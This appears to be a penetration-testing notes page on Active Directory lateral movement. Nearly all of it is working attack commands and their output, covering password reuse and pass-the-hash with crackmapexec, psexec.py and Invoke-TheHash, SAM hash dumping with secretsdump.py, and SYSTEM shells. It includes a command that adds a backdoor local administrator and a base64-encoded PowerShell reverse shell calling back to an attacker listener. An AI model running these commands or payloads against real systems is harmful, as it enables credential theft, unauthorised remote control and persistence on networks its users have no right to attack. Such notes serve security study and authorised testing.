Pass the password on the domain: crackmapexec smb 10.0.2.0/24 -u fcastle -d DOMAIN.local -p Password1 If the password is the same for another machine in the network we will get ownership on this new machine too
We can also use psexec to try to get a shell on the other machine
┌──(root💀kali)-[~kali]└─#psexec.pymarvel/fcastle:Password1@10.0.2.4Impacketv0.9.19-Copyright2019SecureAuthCorporation[*] Requesting shares on 10.0.2.4.....[*] Found writable share ADMIN$[*] Uploading file IEoFnNEZ.exe[*] Opening SVCManager on 10.0.2.4.....[*] Creating service YXVX on 10.0.2.4.....[*] Starting service YXVX.....[!] Press help for extra shell commandsMicrosoftWindows [Version 10.0.19044.1288](c) MicrosoftCorporation.Allrightsreserved.C:\Windows\system32>whoamintauthority\systemC:\Windows\system32>hostnameTHEDEFENDER
Pass the Hash
Methodology
Here is what we can do after dumping the hashes:
Crack them with hashcat
Use them with tools like: smbclient or pth-smbclient, psexec, wmiexec or pth-wmic, rpcdump or pth-rpcclient, ...
See here for detailed explainations on how to use the mentioned tools
Impacket - Secretsdump.py
We can dump hashes from our compromised machines in the network
┌──(root💀kali)-[~kali]└─#secretsdump.pymarvel/fcastle:Password1@10.0.2.15Impacketv0.9.19-Copyright2019SecureAuthCorporation[*] Service RemoteRegistry is in stopped state[*] Service RemoteRegistry is disabled, enabling it[*] Starting service RemoteRegistry[*] Target system bootKey: 0xfafe40d7e147c04806fe29ef03e04386[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e6cedee56d27d175f48042b53cb6b242:::FrankCastle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::[STRIPPED]
Now that Crackmapexec is not supported anymore the same commands should work with NetExec
To pass the hash in the following line we will only need the last part after the last semicolon (only the NTHash):
Here is the structure of the hash: User Name:ID:LMHASH:NTHASH::: With this: Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
We will use this: 64f12cddaa88057e06a81b54e73b949b
We will then use this command:
# Another example with another usercrackmapexecsmb172.16.1.0/24-uAdministrator-d.-H30B3783CE2ABF1AF70F77D0660CF3453# Command executionscrackmapexecsmb10.129.201.126-uAdministrator-d.-H30B3783CE2ABF1AF70F77D0660CF3453-xwhoami
PSexec
We can use the same attack with psexec to get a shell except we will be using the full hash For this Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::: We will use this: aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b
┌──(root💀kali)-[~kali]└─#psexec.pymarvel/fcastle@10.0.2.15-hashesaad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949bImpacketv0.9.19-Copyright2019SecureAuthCorporation[*] Requesting shares on 10.0.2.15.....[*] Found writable share ADMIN$[*] Uploading file fQsiaobC.exe[*] Opening SVCManager on 10.0.2.15.....[*] Creating service OnEf on 10.0.2.15.....[*] Starting service OnEf.....[!] Press help for extra shell commandsMicrosoftWindows [Version 10.0.19044.1288](c) MicrosoftCorporation.Allrightsreserved.C:\Windows\system32>
When using Invoke-TheHash, we have two options: SMB or WMI command execution. To use this tool, we need to specify the following parameters to execute commands in the target computer:
Target - Hostname or IP address of the target.
Username - Username to use for authentication.
Domain - Domain to use for authentication. This parameter is unnecessary with local accounts or when using the @domain after the username.
Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format.
Command - Command to execute on the target. If a command is not specified, the function will check to see if the username and hash have access to WMI on the target.
Import-Module .\Invoke-TheHash.psd1Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
Getting a reverse shell
To create a simple reverse shell using PowerShell, we can use revshells, set our IP 172.16.1.5 and port 8001, and select the option PowerShell #3 (Base64).
# Set a listener.\nc.exe-lvnp 8001# Invoke-TheHash with WMIImport-Module .\Invoke-TheHash.psd1Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAzACIALAA4ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
With evil-winrm in Linux
If SMB is blocked or we don't have administrative rights, we can use this alternative protocol to connect to the target machine.
Restricted Admin Mode, which is disabled by default, should be enabled on the target host
This can be enabled by adding a new registry key DisableRestrictedAdmin (REG_DWORD) under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa with the value of 0. It can be done using the following command:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
When the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy is set to 0, it means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to perform remote administration tasks. Setting it to 1 allows the other local admins as well.